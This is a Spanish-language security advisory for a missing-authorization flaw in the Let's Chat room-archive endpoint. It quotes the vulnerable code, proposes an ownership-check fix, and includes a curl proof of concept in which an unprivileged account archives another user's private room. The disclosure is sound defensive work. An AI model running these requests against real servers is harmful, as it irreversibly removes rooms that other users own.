
Aviso de seguridad: Controles de acceso insuficientes permiten la eliminación no autorizada de salas (Let's Chat)
Identificador CVE asignado: CVE-2026-66751
DELETE /rooms/:room no realiza ninguna comprobación de autorización más allá de requerir un inicio de sesión. Cualquier cuenta puede archivar cualquier sala del servidor, incluidas las salas privadas protegidas con contraseña que esa misma cuenta no tiene permitido leer, unirse o modificar.
El archivado es el mecanismo que usa Let's Chat para eliminar salas. La sala desaparece de la lista de salas, las búsquedas directas devuelven 404 y se rechaza el envío de mensajes o la carga de archivos en ella. No hay ninguna ruta de código en la aplicación que lo revierta.
URL del repositorio: https://github.com/sdelements/lets-chat
Vulnerable desde 0.3.0 (commit 5b5f46f, 2 ene 2015, «Las salas se archivan, en lugar de eliminarse») hasta 0.4.8, la versión final. No existe una versión corregida.
Las salas privadas y protegidas con contraseña aparecieron en 0.4.0, por lo que el caso en el que un atacante destruye una sala cuyo contenido no puede ver se aplica a partir de 0.4.0. La comprobación ausente data de 0.3.0.
Confirmado en 0.4.8 en el commit 617207f, y en docker.io/sdelements/lets-chat:latest (0.4.7).
CWE-862: Falta de autorización.
Puntuación base CVSS 4.0: 5.3 (Media)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
El atacante necesita una cuenta de usuario normal y acceso de red al puerto HTTP. No necesita ser dueño de la sala, pertenecer a ella, conocer su contraseña ni tener ningún rol elevado. El autorregistro está habilitado por defecto (auth.local.enableRegistration en defaults.yml).
Seleccionar el objetivo no cuesta nada. GET /rooms lista las salas protegidas con contraseña a todos los usuarios por diseño, por lo que el atacante puede leer la lista completa de ids de salas y archivar cada una por turno.
La ruta requiere un inicio de sesión y resuelve la sala, y nada más.
app/controllers/rooms.js:99-109:
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
El manejador pasa solo un id de sala hacia abajo. Nunca examina req.user.
app/controllers/rooms.js:217-232:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
El gestor no recibe ningún argumento de usuario, por lo que no puede comprobar la propiedad ni siquiera en principio.
app/core/rooms.js:123-137:
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
La ruta de actualización vecina sí comprueba la propiedad, que es lo que hace que esto parezca un descuido más que una decisión deliberada. app/core/rooms.js:89-91:
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
El cliente está de acuerdo con la interpretación más estricta. media/js/views/room.js:28-31 decide quién ve el control de edición, y el botón Archivar sala se encuentra dentro del modal de edición que abre este control:
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
En una sala protegida con contraseña, un no propietario nunca ve el botón. La restricción existe solo en el navegador.
Requiere rooms.private: true (o LCB_ROOMS_PRIVATE=true) para que se puedan crear salas privadas. La comprobación ausente en sí se aplica a todas las salas independientemente de ese ajuste.
BASE=http://localhost:5000
# Two unrelated accounts.
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=<id from the response above>
# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
Tras la petición, la sala desaparece de GET /rooms para todos los usuarios, GET /rooms/:id devuelve 404, y messages:create y files:create la rechazan (app/core/messages.js:28-30, app/core/files.js:55-57). Nada en app/ vuelve a establecer archived como false, por lo que la recuperación requiere acceso directo a la base de datos.
Pase el llamador al gestor y compruebe la propiedad antes de archivar, de forma similar a lo que ya hace update. En app/controllers/rooms.js:217:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
y en app/core/rooms.js:123, después de la comprobación if (!room):
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}